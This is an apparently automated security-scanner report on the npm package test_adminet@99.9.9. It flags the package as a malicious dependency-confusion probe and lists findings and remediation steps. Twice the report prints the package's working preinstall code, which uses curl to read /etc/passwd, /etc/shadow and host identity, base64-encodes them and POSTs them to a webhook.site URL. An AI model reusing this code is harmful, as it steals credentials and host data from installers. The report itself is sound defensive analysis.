registry / Data exfiltration / test_adminet
test_adminet
This report shows the evidence for test_adminet@99.9.9, the only known version.
This package appears in our research on the dependency confusion probes at version 99 and above, with how it works, the full package list and what to do if you installed it.
AI Security Review
scanned 3mo ago · by lpm-firewall-aiDirect source inspection confirms unconsented install-time host-data collection and external exfiltration. This is concrete malicious behavior, not a benign package capability.
Static reason
High-risk behavior combination matched malicious policy.; source fingerprint signature matched known malicious package; routed for review
Trigger
npm installation via the `preinstall` lifecycle hook
Impact
Exposes host identity, account metadata, and potentially password-hash data to an external endpoint.
Mechanism
install-time shell collection and HTTP POST exfiltration
Attack narrative
On npm installation, the `preinstall` hook executes `index.js`. That file uses `child_process.exec` to run `curl`, gathering `/etc/passwd`, `/etc/hosts`, `id`, and `/etc/shadow` when readable. It base64-encodes the data and sends it to a hard-coded `webhook.site` URL, with username and hostname embedded in the request path.
AI rationale
Direct source inspection confirms unconsented install-time host-data collection and external exfiltration. This is concrete malicious behavior, not a benign package capability.
Evidence
package.jsonindex.js
Network endpoints1
webhook.site/d5968c3d-d0d7-46c4-9305-a726b24fce9c/test_adminest/$(whoami)/$(hostname)/
Decision evidence
public snapshotAI called this Malicious at 99.0% confidence as Malware with low false-positive risk.
Evidence for block
- `package.json` runs `node index.js` in `preinstall`.
- `index.js` executes a shell command through `child_process.exec`.
- The command collects `/etc/passwd`, `/etc/hosts`, `id`, and readable `/etc/shadow`.
- Collected output is base64-encoded and POSTed to `webhook.site`.
- The external request includes the local username and hostname in its URL.
Evidence against
Behavioral surface
ChildProcess
HighEntropyStringsUrlStrings
Source & flagged code
5 flagged · loading sourcepackage.jsonView file
•scripts.preinstall = node index.js
High
Install Time Lifecycle Scripts
Package defines install-time lifecycle scripts.
package.jsonView on unpkgindex.jsView file
1const { exec } = require("child_process");
L2: const command = `
L3: curl -X POST "https://webhook.site/d5968c3d-d0d7-46c4-9305-a726b24fce9c/test_adminest/$(whoami)/$(hostname)/" \
L4: -A "$( (cat /etc/passwd /etc/hosts && id && { [ -r /etc/shadow ] && cat /etc/shadow || echo 'No shadow access'; } | base64 | tr '\\n' '.')" \
L5: -s -o /dev/null
L6: `;
L7: exec(command, (error, stdout, stderr) => {
L8: if (error) {
Critical
Command Output Exfiltration
Source executes local commands and sends command output to an external endpoint.
index.jsView on unpkg · L11Trigger-reachable chain: scripts.preinstall -> index.js
L1: const { exec } = require("child_process");
L2: const command = `
L3: curl -X POST "https://webhook.site/d5968c3d-d0d7-46c4-9305-a726b24fce9c/test_adminest/$(whoami)/$(hostname)/" \
L4: -A "$( (cat /etc/passwd /etc/hosts && id && { [ -r /etc/shadow ] && cat /etc/shadow || echo 'No shadow access'; } | base64 | tr '\\n' '.')" \
L5: -s -o /dev/null
L6: `;
L7: exec(command, (error, stdout, stderr) => {
L8: if (error) {
Findings
2 Critical3 High1 Medium3 Low
CriticalCommand Output Exfiltrationindex.js
CriticalTrigger Reachable Dangerous Capabilityindex.js
HighInstall Time Lifecycle Scriptspackage.json
HighChild Processindex.js
HighKnown Malware Source Fingerprint Signatureindex.js
MediumStructural Risk Force Deep Review
LowScripts Present
LowHigh Entropy Strings
LowUrl Strings
Affected versions and remediation
This report applies to test_adminet@99.9.9.
The versions list below shows the verdict for each recorded version.
- Avoid installing test_adminet@99.9.9. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Source advisory published: .
Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.